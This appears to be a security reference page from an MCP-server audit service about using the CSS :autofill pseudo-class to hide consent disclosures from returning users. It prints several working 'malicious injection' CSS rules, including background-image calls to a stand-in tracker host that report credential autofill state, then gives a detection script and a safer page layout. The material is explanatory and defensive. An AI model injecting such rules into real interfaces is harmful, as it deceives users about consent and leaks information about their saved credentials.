Security reference · CSS injection · Pseudo-class attacks
MCP server CSS :autofill pseudo-class security
The CSS :autofill pseudo-class (also :-webkit-autofill) matches any <input> element that has been filled by the browser's autofill system — password managers, saved credentials, or browser-native autofill for email, name, and address fields. When a returning user opens a login form and their browser populates it automatically, every autofilled field enters the :autofill state. A malicious MCP server can inject CSS that uses this state as a trigger to conditionally hide consent disclosures — targeting precisely the users most likely to skip re-reading them: returning users who click straight through the pre-filled form.
CSS :autofill attack surface
| Selector / Property | Behaviour | Attack potential |
|---|---|---|
input:autofill | Matches autofilled input fields | Sibling/adjacent combinator trigger for hiding consent when credentials are auto-filled |
input:-webkit-autofill | Vendor-prefixed equivalent (Chrome, Safari, Edge) | Same as above; required for cross-browser coverage |
:autofill ~ .sibling | Any sibling after an autofilled field | Consent elements that follow the login form in DOM order are hidden |
background-color override via @keyframes | Browsers force a blue/yellow highlight on autofilled fields | Override with infinite animation to suppress the autofill visual cue, hiding autofill state from the user |
Attack 1: :autofill sibling combinator hides consent after autofill
The general sibling combinator (~) matches all subsequent siblings of the specified element in the same parent. When a login form has an autofilled email or password input followed by a consent disclosure block, an injected CSS rule can target the disclosure directly:
/* Malicious MCP injection — hides consent exactly when credentials are autofilled */
input:autofill ~ .consent-disclosure,
input:-webkit-autofill ~ .consent-disclosure {
display: none;
}
/* Equivalent using visibility (element still occupies layout space but is invisible) */
input:autofill ~ .terms-checkbox-wrapper,
input:-webkit-autofill ~ .terms-checkbox-wrapper {
visibility: hidden;
pointer-events: none;
}
The attack window is the critical login moment: the user lands on a login page, their password manager or browser autofills the credentials, and the consent block vanishes. The user sees only the pre-filled form and a submit button. They click submit, the MCP server records consent as given. The consent block reappears only when the user manually clears and retypes their credentials — an action that removes the :autofill state.
Targeted user profile: This attack specifically affects the highest-conversion user segment: returning users who have the site's credentials saved. First-time users type their details manually, the :autofill pseudo-class is never applied, and the consent block remains visible. The attack is invisible in manual QA testing where testers type rather than autofill — it only triggers in realistic returning-user scenarios.
Attack 2: :autofill adjacent combinator hides next-step consent
The adjacent sibling combinator (+) targets only the immediately following sibling. In multi-step forms where a consent checkbox directly follows the password field in DOM order, the injected rule is surgical:
/* Malicious injection — hides only the immediate next sibling (consent checkbox) */
input[type="password"]:autofill + label.consent-label,
input[type="password"]:-webkit-autofill + label.consent-label {
opacity: 0;
user-select: none;
pointer-events: none;
height: 0;
overflow: hidden;
margin: 0;
padding: 0;
}
/* Or using the :has() relational pseudo-class (broader scope) */
form:has(input:autofill) .consent-step {
transform: scale(0);
position: absolute;
left: -9999px;
}
The form:has(input:autofill) pattern is particularly dangerous because it does not require the consent element to be a sibling of the autofilled input — it only requires them to share the same form ancestor. This makes the attack applicable to consent elements anywhere in the form, regardless of their DOM relationship to the input fields.
Attack 3: animated background-color override suppresses the autofill visual cue
Browsers apply a forced yellow or blue background color to autofilled inputs to visually signal to the user that the field was filled automatically (not by the user typing). This is a deliberate UX signal that helps users notice autofill is active. An MCP server can override this with an @keyframes animation hack that forces the background back to transparent:
/* Malicious injection — suppresses browser autofill background signal */
@keyframes suppress-autofill-highlight {
to {
/* 'to' frame takes effect immediately and is held by animation-fill-mode:forwards */
background-color: transparent !important;
color: inherit !important;
box-shadow: none !important;
}
}
input:-webkit-autofill,
input:autofill {
animation-name: suppress-autofill-highlight;
animation-duration: 1ms;
animation-fill-mode: forwards;
/* Result: the autofill highlight is overridden on the first animation frame */
/* Users cannot tell the field was autofilled vs. manually typed */
/* This eliminates the visual cue that informs users to check what was filled */
}
/* Combined with the sibling consent-hiding attack above:
1. Autofill state is active (but visually suppressed — user doesn't notice)
2. Consent block is hidden via :autofill ~ .consent
3. User proceeds not knowing either the autofill state or the missing consent */
Double suppression: Combining autofill highlight suppression with consent sibling hiding creates a compound attack where both the signal (autofill cue) and the consequence (hidden consent) are invisible to the user. Auditing tools that rely on visual autofill state detection will also miss the attack since the browser highlight is overridden.
Attack 4: :autofill state exfiltration to MCP server via CSS timing
A more sophisticated attack uses the :autofill state to infer what credentials the user has saved, by triggering CSS-initiated network requests through background-image: url() or @font-face src: values conditioned on the autofill state. While browsers have tightened controls on this, some configurations remain exploitable:
/* Malicious injection — CSS-based credential presence detection */
/* When a specific input is autofilled, load a tracking resource */
input[name="email"]:autofill {
background-image: url("https://mcp-tracker.example/pixel?field=email&autofilled=1");
/* Signals to the MCP server: this user has an email saved for this site */
}
input[type="password"]:autofill {
background-image: url("https://mcp-tracker.example/pixel?field=password&autofilled=1");
/* Signals: user has a saved password (indicating they are a returning user) */
}
/* Combined signal: if both autofill, user is logged in / returning
MCP can use this to customize which consent gates to suppress for returning users */
The practical impact of the network-request variant is limited on modern browsers (Content Security Policy blocks external image loads in most hardened deployments), but the pattern remains relevant in MCP skill execution contexts where CSP is not enforced on the consent UI. Detection requires monitoring outbound requests during form autofill interactions.
SkillAudit findings for CSS :autofill attacks
input:autofill ~ or input:-webkit-autofill ~ combinator that targets a consent disclosure element; consent is conditionally hidden for returning users with saved credentialsform:has(input:autofill) rule hiding a consent element anywhere in the form; broader scope than sibling combinator, applies to any descendant consent block during autofill state@keyframes animation on input:autofill / input:-webkit-autofill overriding background-color to transparent; suppresses the browser's autofill visual cue, hiding autofill state from the userbackground-image:url() on input:autofill sending field-name query parameters to external origin; CSS-based credential presence detection via autofill state exfiltrationDetection and safe consent patterns
/* Runtime detection of :autofill-conditional consent hiding */
function auditAutofillConsentVisibility() {
const inputs = document.querySelectorAll('input');
const consentEls = document.querySelectorAll(
'.consent-disclosure, .consent-checkbox, [data-consent]'
);
/* Step 1: check current consent visibility without triggering autofill */
const baselineVisible = Array.from(consentEls).every(el => {
const s = getComputedStyle(el);
return s.display !== 'none' && s.visibility !== 'hidden' &&
parseFloat(s.opacity) > 0.1 && el.getBoundingClientRect().height > 0;
});
/* Step 2: simulate autofill by dispatching the 'animationstart' event
(the mechanism browsers use to notify pages of autofill state changes) */
inputs.forEach(input => {
input.dispatchEvent(new AnimationEvent('animationstart', {
animationName: 'autofill-detect', bubbles: true
}));
});
/* Step 3: re-check consent visibility after simulated autofill */
/* If consent elements became hidden, an :autofill-conditional rule is active */
const postAutofillVisible = Array.from(consentEls).every(el => {
const s = getComputedStyle(el);
return s.display !== 'none' && s.visibility !== 'hidden' &&
parseFloat(s.opacity) > 0.1 && el.getBoundingClientRect().height > 0;
});
if (baselineVisible && !postAutofillVisible) {
throw new Error(
'CONSENT_INTEGRITY_FAILURE: consent element hidden after autofill state activation. ' +
'Suspected :autofill CSS combinator attack.'
);
}
}
/* Safe consent placement: place consent BEFORE the form, not after inputs */
/* This removes it from the :autofill ~ sibling scope entirely */
<!-- Safe DOM order -->
<div class="consent-disclosure">...</div> <!-- before the form -->
<form>
<input type="email">
<input type="password">
<button type="submit">Sign in</button>
</form>
Related security references
- CSS :placeholder-shown — consent hiding when input fields are empty
- CSS :focus-within — consent suppression triggered by form field focus
- CSS :has() relational selector — consent hiding via descendant state
- CSS :focus-visible — split-presentation consent hiding for keyboard vs. mouse users
Audit your MCP server for :autofill consent-hiding attacks: paste your GitHub URL at skillaudit.dev for a free security report including SA-CSS-AUTOFILL findings.